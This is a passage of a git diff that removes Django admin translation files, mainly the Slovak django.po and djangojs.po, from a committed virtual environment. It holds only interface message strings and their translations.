letter Tuesday" -msgid "T" -msgstr "В" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "С" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "Ч" - -msgctxt "one letter Friday" -msgid "F" -msgstr "П" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "С" - -msgid "Show" -msgstr "Показать" - -msgid "Hide" -msgstr "Скрыть" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/sk/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/sk/LC_MESSAGES/django.mo deleted file mode 100644 index dc548e5b..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/sk/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/sk/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/sk/LC_MESSAGES/django.po deleted file mode 100644 index 7e18ff8e..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/sk/LC_MESSAGES/django.po +++ /dev/null @@ -1,802 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Adam Zahradník, 2023-2024 -# Jannis Leidel , 2011 -# 18f25ad6fa9930fc67cb11aca9d16a27, 2012-2013 -# Marian Andre , 2013-2015,2017 -# 29cf7e517570e1bc05a1509565db92ae_2a01508, 2011 -# Martin Tóth , 2017,2023 -# Miroslav Bendik , 2023 -# Peter Kuma, 2021 -# Peter Stríž , 2020 -# Zbynek Drlik , 2019 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2024-05-22 11:46-0300\n" -"PO-Revision-Date: 2024-10-07 07:05+0000\n" -"Last-Translator: Adam Zahradník, 2023-2024\n" -"Language-Team: Slovak (http://app.transifex.com/django/django/language/sk/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: sk\n" -"Plural-Forms: nplurals=4; plural=(n % 1 == 0 && n == 1 ? 0 : n % 1 == 0 && n " -">= 2 && n <= 4 ? 1 : n % 1 != 0 ? 2: 3);\n" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "Odstrániť označené %(verbose_name_plural)s" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "Úspešne odstránených %(count)d %(items)s." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "Nedá sa odstrániť %(name)s" - -msgid "Are you sure?" -msgstr "Ste si istý?" - -msgid "Administration" -msgstr "Správa" - -msgid "All" -msgstr "Všetko" - -msgid "Yes" -msgstr "Áno" - -msgid "No" -msgstr "Nie" - -msgid "Unknown" -msgstr "Neznámy" - -msgid "Any date" -msgstr "Ľubovoľný dátum" - -msgid "Today" -msgstr "Dnes" - -msgid "Past 7 days" -msgstr "Posledných 7 dní" - -msgid "This month" -msgstr "Tento mesiac" - -msgid "This year" -msgstr "Tento rok" - -msgid "No date" -msgstr "Bez dátumu" - -msgid "Has date" -msgstr "S dátumom" - -msgid "Empty" -msgstr "Prázdna hodnota" - -msgid "Not empty" -msgstr "Neprázdna hodnota" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"Zadajte prosím správne %(username)s a heslo pre účet personálu - „staff " -"account“. Obe polia môžu obsahovať veľké a malé písmená." - -msgid "Action:" -msgstr "Akcia:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "Pridať ďalší %(verbose_name)s" - -msgid "Remove" -msgstr "Odstrániť" - -msgid "Addition" -msgstr "Pridávanie" - -msgid "Change" -msgstr "Zmeniť" - -msgid "Deletion" -msgstr "Odstránenie" - -msgid "action time" -msgstr "čas akcie" - -msgid "user" -msgstr "používateľ" - -msgid "content type" -msgstr "typ obsahu" - -msgid "object id" -msgstr "identifikátor objektu" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "reprezentácia objektu" - -msgid "action flag" -msgstr "príznak akcie" - -msgid "change message" -msgstr "zmeniť správu" - -msgid "log entry" -msgstr "položka záznamu" - -msgid "log entries" -msgstr "položky záznamu" - -#, python-format -msgid "Added “%(object)s”." -msgstr "Pridané „%(object)s“." - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "Zmenené „%(object)s“ — %(changes)s " - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "Odstránené „%(object)s“." - -msgid "LogEntry Object" -msgstr "Objekt LogEntry" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "Pridaný {name} „{object}“." - -msgid "Added." -msgstr "Pridaný." - -msgid "and" -msgstr "a" - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "Zmenené {fields} pre {name} „{object}“." - -#, python-brace-format -msgid "Changed {fields}." -msgstr "Zmenené {fields}." - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "Odstránený {name} „{object}“." - -msgid "No fields changed." -msgstr "Polia nezmenené." - -msgid "None" -msgstr "Žiadne" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "" -"Ak chcete vybrať viac ako jednu položku na Mac, podržte „Control“, alebo " -"„Command“" - -msgid "Select this object for an action - {}" -msgstr "Vybrať tento objekt pre akciu - {}" - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "Objekt {name} „{obj}“ bol úspešne pridaný." - -msgid "You may edit it again below." -msgstr "Ďalšie zmeny môžete urobiť nižšie." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "" -"Objekt {name} „{obj}“ bol úspešne pridaný. Môžete pridať ďaľší {name} nižšie." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "" -"Objekt {name} „{obj}“ bol úspešne zmenený. Ďalšie zmeny môžete urobiť nižšie." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "" -"Objekt {name} „{obj}“ bol úspešne zmenený. Môžete pridať ďaľší {name} nižšie." - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "Objekt {name} „{obj}“ bol úspešne zmenený." - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"Položky musia byť vybrané, ak chcete na nich vykonať akcie. Neboli vybrané " -"žiadne položky." - -msgid "No action selected." -msgstr "Nebola vybraná žiadna akcia." - -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "Objekt %(name)s „%(obj)s“ bol úspešne odstránený." - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "Objekt %(name)s s ID „%(key)s“ neexistuje. Možno bol odstránený?" - -#, python-format -msgid "Add %s" -msgstr "Pridať %s" - -#, python-format -msgid "Change %s" -msgstr "Zmeniť %s" - -#, python-format -msgid "View %s" -msgstr "Zobraziť%s" - -msgid "Database error" -msgstr "Chyba databázy" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "%(count)s %(name)s bola úspešne zmenená." -msgstr[1] "%(count)s %(name)s boli úspešne zmenené." -msgstr[2] "%(count)s %(name)s bolo úspešne zmenených." -msgstr[3] "%(count)s %(name)s bolo úspešne zmenených." - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "%(total_count)s vybraná" -msgstr[1] "Všetky %(total_count)s vybrané" -msgstr[2] "Všetkých %(total_count)s vybraných" -msgstr[3] "Všetkých %(total_count)s vybraných" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "0 z %(cnt)s vybraných" - -#, python-format -msgid "Change history: %s" -msgstr "Zoznam zmien: %s" - -#. Translators: Model verbose name and instance -#. representation, suitable to be an item in a -#. list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s %(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" -"Vymazanie %(class_name)s %(instance)s vyžaduje vymazanie nasledovných " -"súvisiacich chránených objektov: %(related_objects)s" - -msgid "Django site admin" -msgstr "Správa Django stránky" - -msgid "Django administration" -msgstr "Správa Django" - -msgid "Site administration" -msgstr "Správa stránky" - -msgid "Log in" -msgstr "Prihlásenie" - -#, python-format -msgid "%(app)s administration" -msgstr "%(app)s správa" - -msgid "Page not found" -msgstr "Stránka nenájdená" - -msgid "We’re sorry, but the requested page could not be found." -msgstr "Ľutujeme, ale požadovaná stránka nebola nájdená." - -msgid "Home" -msgstr "Domov" - -msgid "Server error" -msgstr "Chyba servera" - -msgid "Server error (500)" -msgstr "Chyba servera (500)" - -msgid "Server Error (500)" -msgstr "Chyba servera (500)" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" -"Došlo k chybe. Chyba bola nahlásená správcovi webu prostredníctvom e-mailu a " -"zanedlho by mala byť odstránená. Ďakujeme za vašu trpezlivosť." - -msgid "Run the selected action" -msgstr "Vykonať vybranú akciu" - -msgid "Go" -msgstr "Vykonať" - -msgid "Click here to select the objects across all pages" -msgstr "Kliknite sem pre výber objektov na všetkých stránkach" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "Vybrať všetkých %(total_count)s %(module_name)s" - -msgid "Clear selection" -msgstr "Zrušiť výber" - -msgid "Breadcrumbs" -msgstr "Mininavigácia" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "Modely v %(name)s aplikácii" - -msgid "Add" -msgstr "Pridať" - -msgid "View" -msgstr "Zobraziť" - -msgid "You don’t have permission to view or edit anything." -msgstr "Nemáte právo na zobrazenie alebo vykonávanie zmien." - -msgid "" -"First, enter a username and password. Then, you’ll be able to edit more user " -"options." -msgstr "" -"Najskôr zadajte používateľské meno a heslo. Potom budete môcť upraviť viac " -"používateľských nastavení." - -msgid "Enter a username and password." -msgstr "Zadajte používateľské meno a heslo." - -msgid "Change password" -msgstr "Zmeniť heslo" - -msgid "Set password" -msgstr "Nastaviť heslo" - -msgid "Please correct the error below." -msgid_plural "Please correct the errors below." -msgstr[0] "Prosím, opravte chybu uvedenú nižšie." -msgstr[1] "Prosím, opravte chyby uvedené nižšie." -msgstr[2] "Prosím, opravte chyby uvedené nižšie." -msgstr[3] "Prosím, opravte chyby uvedené nižšie." - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "Zadajte nové heslo pre používateľa %(username)s." - -msgid "" -"This action will enable password-based authentication for " -"this user." -msgstr "" -"Týmto povolíte tomuto používateľovi prihlasovanie pomocou " -"hesla." - -msgid "Disable password-based authentication" -msgstr "Vypnúť prihlasovanie pomocou hesla" - -msgid "Enable password-based authentication" -msgstr "Povoliť prihlasovanie pomocou hesla" - -msgid "Skip to main content" -msgstr "Preskočiť na hlavný obsah" - -msgid "Welcome," -msgstr "Vitajte," - -msgid "View site" -msgstr "Pozrieť stránku" - -msgid "Documentation" -msgstr "Dokumentácia" - -msgid "Log out" -msgstr "Odhlásiť" - -#, python-format -msgid "Add %(name)s" -msgstr "Pridať %(name)s" - -msgid "History" -msgstr "Zmeny" - -msgid "View on site" -msgstr "Pozrieť na stránke" - -msgid "Filter" -msgstr "Filtrovať" - -msgid "Hide counts" -msgstr "Skryť počet" - -msgid "Show counts" -msgstr "Zobraziť počet" - -msgid "Clear all filters" -msgstr "Zrušiť všetky filtre" - -msgid "Remove from sorting" -msgstr "Odstrániť z triedenia" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "Triedenie priority: %(priority_number)s " - -msgid "Toggle sorting" -msgstr "Prepnúť triedenie" - -msgid "Toggle theme (current theme: auto)" -msgstr "Prepnúť vzhľad (aktuálne: automatický)" - -msgid "Toggle theme (current theme: light)" -msgstr "Prepnúť vzhľad (aktuálne: svetlý)" - -msgid "Toggle theme (current theme: dark)" -msgstr "Prepnúť vzhľad (aktuálne: tmavý)" - -msgid "Delete" -msgstr "Odstrániť" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"Odstránenie objektu %(object_name)s „%(escaped_object)s“ by malo za následok " -"aj odstránenie súvisiacich objektov. Váš účet však nemá oprávnenie na " -"odstránenie nasledujúcich typov objektov:" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"Vymazanie %(object_name)s „%(escaped_object)s“ vyžaduje vymazanie " -"nasledovných súvisiacich chránených objektov:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"Ste si istý, že chcete odstrániť objekt %(object_name)s " -"„%(escaped_object)s“? Všetky nasledujúce súvisiace objekty budú odstránené:" - -msgid "Objects" -msgstr "Objekty" - -msgid "Yes, I’m sure" -msgstr "Áno, som si istý" - -msgid "No, take me back" -msgstr "Nie, chcem sa vrátiť" - -msgid "Delete multiple objects" -msgstr "Odstrániť viacero objektov" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"Odstránenie označených %(objects_name)s by spôsobilo odstránenie súvisiacich " -"objektov, ale váš účet nemá oprávnenie na odstránenie nasledujúcich typov " -"objektov:" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"Vymazanie označených %(objects_name)s vyžaduje vymazanie nasledujúcich " -"chránených súvisiacich objektov:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"Ste si istý, že chcete odstrániť označené %(objects_name)s? Odstránia sa " -"všetky nasledujúce objekty a ich súvisiace položky:" - -msgid "Delete?" -msgstr "Odstrániť?" - -#, python-format -msgid " By %(filter_title)s " -msgstr "Podľa %(filter_title)s " - -msgid "Summary" -msgstr "Súhrn" - -msgid "Recent actions" -msgstr "Posledné akcie" - -msgid "My actions" -msgstr "Moje akcie" - -msgid "None available" -msgstr "Nedostupné" - -msgid "Added:" -msgstr "Pridaný:" - -msgid "Changed:" -msgstr "Zmenený:" - -msgid "Deleted:" -msgstr "Odstránený:" - -msgid "Unknown content" -msgstr "Neznámy obsah" - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"Niečo nie je v poriadku s vašou inštaláciou databázy. Zabezpečte, aby boli " -"vytvorené potrebné databázové tabuľky a taktiež zabezpečte, aby príslušný " -"používateľ mohol čítať databázu." - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" -"Ste prihlásený ako %(username)s, ale nemáte práva k tejto stránke. Chcete sa " -"prihlásiť do iného účtu?" - -msgid "Forgotten your password or username?" -msgstr "Zabudli ste heslo alebo používateľské meno?" - -msgid "Toggle navigation" -msgstr "Prepnúť navigáciu" - -msgid "Sidebar" -msgstr "Bočný panel" - -msgid "Start typing to filter…" -msgstr "Filtrovať začnete písaním textu…" - -msgid "Filter navigation items" -msgstr "Filtrovať položky navigácie" - -msgid "Date/time" -msgstr "Dátum a čas" - -msgid "User" -msgstr "Používateľ" - -msgid "Action" -msgstr "Akcia" - -msgid "entry" -msgid_plural "entries" -msgstr[0] "záznam" -msgstr[1] "záznamy" -msgstr[2] "záznamov" -msgstr[3] "záznamov" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "" -"Tento objekt nemá zoznam zmien. Pravdepodobne nebol pridaný prostredníctvom " -"tejto správcovskej stránky." - -msgid "Show all" -msgstr "Zobraziť všetky" - -msgid "Save" -msgstr "Uložiť" - -msgid "Popup closing…" -msgstr "Vyskakovacie okno sa zatvára…" - -msgid "Search" -msgstr "Vyhľadávanie" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s výsledok" -msgstr[1] "%(counter)s výsledky" -msgstr[2] "%(counter)s výsledkov" -msgstr[3] "%(counter)s výsledkov" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "%(full_result_count)s spolu" - -msgid "Save as new" -msgstr "Uložiť ako nový" - -msgid "Save and add another" -msgstr "Uložiť a pridať ďalší" - -msgid "Save and continue editing" -msgstr "Uložiť a pokračovať v úpravách" - -msgid "Save and view" -msgstr "Uložiť a zobraziť" - -msgid "Close" -msgstr "Zatvoriť" - -#, python-format -msgid "Change selected %(model)s" -msgstr "Zmeniť vybrané %(model)s" - -#, python-format -msgid "Add another %(model)s" -msgstr "Pridať ďalší %(model)s" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "Odstrániť vybrané %(model)s" - -#, python-format -msgid "View selected %(model)s" -msgstr "Zobraziť vybrané %(model)s" - -msgid "Thanks for spending some quality time with the web site today." -msgstr "" -"Ďakujeme, že ste dnes strávili pár pekných okamihov na tejto webovej stránke." - -msgid "Log in again" -msgstr "Znova sa prihlásiť" - -msgid "Password change" -msgstr "Zmena hesla" - -msgid "Your password was changed." -msgstr "Vaše heslo bolo zmenené." - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"Z bezpečnostných dôvodov zadajte staré heslo a potom nové heslo dvakrát, aby " -"sme mohli overiť, že ste ho zadali správne." - -msgid "Change my password" -msgstr "Zmeniť moje heslo" - -msgid "Password reset" -msgstr "Obnovenie hesla" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "Vaše heslo bolo nastavené. Môžete pokračovať a prihlásiť sa." - -msgid "Password reset confirmation" -msgstr "Potvrdenie obnovenia hesla" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" -"Zadajte nové heslo dvakrát, aby sme mohli overiť, že ste ho zadali správne." - -msgid "New password:" -msgstr "Nové heslo:" - -msgid "Confirm password:" -msgstr "Potvrdenie hesla:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"Odkaz na obnovenie hesla je neplatný, pretože už bol pravdepodobne raz " -"použitý. Prosím, požiadajte znovu o obnovu hesla." - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" -"Poslali sme vám e-mailom inštrukcie pre nastavenie hesla, ak existuje konto " -"so zadanou emailovou adresou. Čoskoro by ste ich mali dostať." - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" -"Ak vám nepríde e-mail, uistite sa, že ste zadali adresu, s ktorou ste sa " -"registrovali a skontrolujte svoj spamový priečinok." - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"Tento e-mail ste dostali preto, lebo ste požiadali o obnovenie hesla pre " -"užívateľský účet na %(site_name)s." - -msgid "Please go to the following page and choose a new password:" -msgstr "Prosím, choďte na túto stránku a zvoľte si nové heslo:" - -msgid "Your username, in case you’ve forgotten:" -msgstr "Ak ste náhodou zabudli, vaše používateľské meno je:" - -msgid "Thanks for using our site!" -msgstr "Ďakujeme, že používate našu stránku!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "Tím %(site_name)s" - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" -"Zabudli ste heslo? Zadajte vašu e-mailovú adresu nižšie a my vám pošleme " -"inštrukcie pre nastavenie nového hesla." - -msgid "Email address:" -msgstr "E-mailová adresa:" - -msgid "Reset my password" -msgstr "Obnova môjho hesla" - -msgid "Select all objects on this page for an action" -msgstr "Vybrať všetky objekty na tejto strane pre akciu" - -msgid "All dates" -msgstr "Všetky dátumy" - -#, python-format -msgid "Select %s" -msgstr "Vybrať %s" - -#, python-format -msgid "Select %s to change" -msgstr "Vybrať %s na úpravu" - -#, python-format -msgid "Select %s to view" -msgstr "Pre zobrazenie %s zvolte" - -msgid "Date:" -msgstr "Dátum:" - -msgid "Time:" -msgstr "Čas:" - -msgid "Lookup" -msgstr "Vyhľadanie" - -msgid "Currently:" -msgstr "Aktuálne:" - -msgid "Change:" -msgstr "Zmeniť:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/sk/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/sk/LC_MESSAGES/djangojs.mo deleted file mode 100644 index 7e953013..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/sk/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/sk/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/sk/LC_MESSAGES/djangojs.po deleted file mode 100644 index e4b2fd45..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/sk/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,337 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Adam Zahradník, 2023 -# Dimitris Glezos , 2012 -# Jannis Leidel , 2011 -# 18f25ad6fa9930fc67cb11aca9d16a27, 2012 -# Marian Andre , 2012,2015 -# 29cf7e517570e1bc05a1509565db92ae_2a01508, 2011 -# Martin Tóth , 2017,2023 -# Peter Kuma, 2021 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2023-09-18 15:04-0300\n" -"PO-Revision-Date: 2023-12-04 07:59+0000\n" -"Last-Translator: Martin Tóth , 2017,2023\n" -"Language-Team: Slovak (http://app.transifex.com/django/django/language/sk/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: sk\n" -"Plural-Forms: nplurals=4; plural=(n % 1 == 0 && n == 1 ? 0 : n % 1 == 0 && n " -">= 2 && n <= 4 ? 1 : n % 1 != 0 ? 2: 3);\n" - -#, javascript-format -msgid "Available %s" -msgstr "Dostupné %s" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" -"Toto je zoznam dostupných %s. Pre výber je potrebné označiť ich v poli a " -"následne kliknutím na šípku „Vybrať“ presunúť." - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "Píšte do tohto poľa pre vyfiltrovanie dostupných %s." - -msgid "Filter" -msgstr "Filtrovať" - -msgid "Choose all" -msgstr "Vybrať všetko" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "Kliknite sem pre vybratie všetkých %s naraz." - -msgid "Choose" -msgstr "Vybrať" - -msgid "Remove" -msgstr "Odstrániť" - -#, javascript-format -msgid "Chosen %s" -msgstr "Vybrané %s" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" -"Toto je zoznam dostupných %s. Pre vymazanie je potrebné označiť ich v poli a " -"následne kliknutím na šípku „Vymazať“ vymazať." - -#, javascript-format -msgid "Type into this box to filter down the list of selected %s." -msgstr "Píšte do tohto poľa pre vyfiltrovanie označených %s." - -msgid "Remove all" -msgstr "Odstrániť všetky" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "Kliknite sem pre vymazanie vybratých %s naraz." - -#, javascript-format -msgid "%s selected option not visible" -msgid_plural "%s selected options not visible" -msgstr[0] "%s označená možnosť sa nezobrazuje" -msgstr[1] "%s označené možnosti sa nezobrazujú" -msgstr[2] "%s označených možností sa nezobrazuje" -msgstr[3] "%s označených možností sa nezobrazuje" - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "%(sel)s z %(cnt)s vybrané" -msgstr[1] "%(sel)s z %(cnt)s vybrané" -msgstr[2] "%(sel)s z %(cnt)s vybraných" -msgstr[3] "%(sel)s z %(cnt)s vybraných" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"Vrámci jednotlivých editovateľných polí máte neuložené zmeny. Ak vykonáte " -"akciu, vaše zmeny budú stratené." - -msgid "" -"You have selected an action, but you haven’t saved your changes to " -"individual fields yet. Please click OK to save. You’ll need to re-run the " -"action." -msgstr "" -"Vybrali ste akciu, ale neuložili ste jednotlivé polia. Prosím, uložte zmeny " -"kliknutím na OK. Akciu budete musieť vykonať znova." - -msgid "" -"You have selected an action, and you haven’t made any changes on individual " -"fields. You’re probably looking for the Go button rather than the Save " -"button." -msgstr "" -"Vybrali ste akciu, ale neurobili ste žiadne zmeny v jednotlivých poliach. " -"Pravdepodobne ste chceli použiť tlačidlo Vykonať namiesto Uložiť." - -msgid "Now" -msgstr "Teraz" - -msgid "Midnight" -msgstr "Polnoc" - -msgid "6 a.m." -msgstr "6:00" - -msgid "Noon" -msgstr "Poludnie" - -msgid "6 p.m." -msgstr "18:00" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "Poznámka: Ste %s hodinu pred časom servera." -msgstr[1] "Poznámka: Ste %s hodiny pred časom servera." -msgstr[2] "Poznámka: Ste %s hodín pred časom servera." -msgstr[3] "Poznámka: Ste %s hodín pred časom servera." - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "Poznámka: Ste %s hodinu za časom servera." -msgstr[1] "Poznámka: Ste %s hodiny za časom servera." -msgstr[2] "Poznámka: Ste %s hodín za časom servera." -msgstr[3] "Poznámka: Ste %s hodín za časom servera." - -msgid "Choose a Time" -msgstr "Vybrať Čas" - -msgid "Choose a time" -msgstr "Vybrať čas" - -msgid "Cancel" -msgstr "Zrušiť" - -msgid "Today" -msgstr "Dnes" - -msgid "Choose a Date" -msgstr "Vybrať Dátum" - -msgid "Yesterday" -msgstr "Včera" - -msgid "Tomorrow" -msgstr "Zajtra" - -msgid "January" -msgstr "január" - -msgid "February" -msgstr "február" - -msgid "March" -msgstr "marec" - -msgid "April" -msgstr "apríl" - -msgid "May" -msgstr "máj" - -msgid "June" -msgstr "jún" - -msgid "July" -msgstr "júl" - -msgid "August" -msgstr "august" - -msgid "September" -msgstr "september" - -msgid "October" -msgstr "október" - -msgid "November" -msgstr "november" - -msgid "December" -msgstr "december" - -msgctxt "abbrev. month January" -msgid "Jan" -msgstr "jan." - -msgctxt "abbrev. month February" -msgid "Feb" -msgstr "feb." - -msgctxt "abbrev. month March" -msgid "Mar" -msgstr "mar." - -msgctxt "abbrev. month April" -msgid "Apr" -msgstr "apr." - -msgctxt "abbrev. month May" -msgid "May" -msgstr "máj" - -msgctxt "abbrev. month June" -msgid "Jun" -msgstr "jún" - -msgctxt "abbrev. month July" -msgid "Jul" -msgstr "júl" - -msgctxt "abbrev. month August" -msgid "Aug" -msgstr "aug." - -msgctxt "abbrev. month September" -msgid "Sep" -msgstr "sep." - -msgctxt "abbrev. month October" -msgid "Oct" -msgstr "okt." - -msgctxt "abbrev. month November" -msgid "Nov" -msgstr "nov." - -msgctxt "abbrev. month December" -msgid "Dec" -msgstr "dec." - -msgid "Sunday" -msgstr "nedeľa" - -msgid "Monday" -msgstr "pondelok" - -msgid "Tuesday" -msgstr "utorok" - -msgid "Wednesday" -msgstr "streda" - -msgid "Thursday" -msgstr "štvrtok" - -msgid "Friday" -msgstr "piatok" - -msgid "Saturday" -msgstr "sobota" - -msgctxt "abbrev. day Sunday" -msgid "Sun" -msgstr "ne" - -msgctxt "abbrev. day Monday" -msgid "Mon" -msgstr "po" - -msgctxt "abbrev. day Tuesday" -msgid "Tue" -msgstr "ut" - -msgctxt "abbrev. day Wednesday" -msgid "Wed" -msgstr "st" - -msgctxt "abbrev. day Thursday" -msgid "Thur" -msgstr "št" - -msgctxt "abbrev. day Friday" -msgid "Fri" -msgstr "pi" - -msgctxt "abbrev. day Saturday" -msgid "Sat" -msgstr "so" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "N" - -msgctxt "one letter Monday" -msgid "M" -msgstr "P" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "U" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "S" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "Š" - -msgctxt "one letter Friday" -msgid "F" -msgstr "P" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "S" - -msgid "Show" -msgstr "Zobraziť" - -msgid "Hide" -msgstr "Skryť" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/sl/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/sl/LC_MESSAGES/django.mo deleted file mode 100644 index 0c262d29..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/sl/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/sl/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/sl/LC_MESSAGES/django.po deleted file mode 100644 index 39934983..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/sl/LC_MESSAGES/django.po +++ /dev/null @@ -1,774 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Andrej Marsetič, 2022-2023 -# Jannis Leidel , 2011 -# Primoz Verdnik , 2017 -# zejn , 2013,2016 -# zejn , 2011-2013 -msgid 